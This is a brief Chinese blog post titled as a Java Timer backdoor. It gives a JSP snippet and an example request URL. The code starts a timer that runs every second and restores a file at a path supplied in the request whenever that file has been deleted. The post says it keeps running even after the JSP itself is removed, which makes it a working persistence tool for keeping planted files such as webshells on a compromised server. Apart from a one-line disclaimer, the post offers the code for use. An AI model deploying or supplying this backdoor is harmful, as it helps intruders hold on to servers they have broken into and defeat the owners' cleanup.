2014-01-16 18:01:15

Java Timer 后门

程序每秒执行一次无限循环,一次执行直到服务器重启。哪怕是删除jsp文件一样会无限循环!
http://localhost:8080/timer.jsp?path=/a/x/1.txt&file=/xxxx/1.txt
请勿用于黑产,否则母鸡鸡。
<%!
  void copy(java.io.File path,java.io.File file){
    try{
      java.io.FileOutputStream fos = new java.io.FileOutputStream(path);
      java.io.FileInputStream fis = new java.io.FileInputStream(file);  
        byte[] b = new byte[1024];
        int n;
        while ((n = fis.read(b)) != -1){
          fos.write(b, 0, n);
        }
        fos.flush();
        fos.close();
        fis.close();
    }catch(Exception e){
      e.printStackTrace();
    }
  }
%>
<%
  final java.io.File  file = new java.io.File(request.getParameter("file"));
  final java.io.File  path = new java.io.File(request.getParameter("path"));
  java.util.Timer executeSchedule = new java.util.Timer();
  executeSchedule.schedule(new java.util.TimerTask() {
    public void run(){
      if(!path.exists()){
        copy(path, file);
      }
    }
  }, 0, 1000);
%>
发表回复